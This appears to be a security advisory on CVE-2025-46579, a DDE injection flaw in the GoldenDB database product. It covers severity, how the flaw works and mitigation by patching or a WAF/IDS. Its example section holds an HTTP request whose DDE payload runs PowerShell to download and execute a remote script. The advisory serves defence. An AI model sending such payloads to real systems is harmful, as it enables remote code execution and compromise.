CVE-2025-46579: DDE Injection Vulnerability in GoldenDB Database Product

Overview

The world of cybersecurity is constantly evolving, with new vulnerabilities being discovered regularly. One such recent discovery is the CVE-2025-46579 vulnerability. This critical vulnerability primarily affects the GoldenDB database product and exposes systems to potential compromise and data leakage.
The danger of this vulnerability lies in the fact that it allows attackers to inject Dynamic Data Exchange (DDE) expressions via the interface. When users download and open affected files, these DDE commands can be executed, potentially leading to severe consequences. Given the severity of this issue, it warrants immediate attention and action from security teams and system administrators.

Vulnerability Summary

CVE ID: CVE-2025-46579
Severity: High (8.4 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

GoldenDB | All versions prior to the patch

How the Exploit Works

The vulnerability resides in the way GoldenDB handles DDE expressions. Attackers can exploit this flaw by inserting malicious DDE expressions through the interface. When a user downloads and opens an affected file, the DDE commands are executed. The execution of these commands can lead to unauthorized system access, data manipulation, or even system compromise.

Conceptual Example Code

A conceptual example of how the vulnerability might be exploited is shown below:

POST /GoldenDB/InjectionPoint HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "DDE_expression": "=CMD|'/C Powershell IEX(wget target.example.com/malware.ps1)'!A0" }

In this example, the DDE expression is a CMD command that invokes Powershell to download and execute a malicious script from a remote server. This is a simple illustration and real-world exploits may be more complex.

Mitigation

The most effective mitigation for CVE-2025-46579 is to apply the patch provided by the vendor. This will prevent the execution of DDE commands through the GoldenDB interface. If the patch cannot be applied immediately, a temporary mitigation can be achieved through the use of a Web Application Firewall (WAF) or an Intrusion Detection System (IDS). These systems can monitor and block suspicious traffic, providing a level of protection until the patch is applied.